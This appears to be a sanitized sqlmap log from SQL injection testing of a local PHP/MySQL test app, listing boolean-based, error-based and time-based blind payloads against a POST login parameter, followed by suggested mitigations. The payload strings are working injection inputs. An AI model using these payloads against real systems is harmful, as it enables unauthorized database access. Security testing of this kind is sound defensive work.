Sanitized log from ethical SQL injection testing in a controlled environment using sqlmap.
sqlmap identified the following injection point(s) with a total of 119 HTTP(s) requests:
---
Parameter: user (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: user=-5459' OR 3914=3914#&pwd=sdfgsdf
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: user=dfgsdf' AND (SELECT ... FLOOR(RAND(0)*2))-- VRPJ&pwd=sdfgsdf
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: user=dfgsdf' AND SLEEP(5)-- vbgY&pwd=sdfgsdf
---
web application technology: PHP 8.2.4, Apache 2.4.56
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
---
Test Environment: Local Test Web App
Test Date: 2025-03-10
Mitigations Suggested:
- Use parameterized queries and prepared statements
- Implement input validation and sanitization
- Suppress detailed error messages
- Use ORM frameworks for database interactions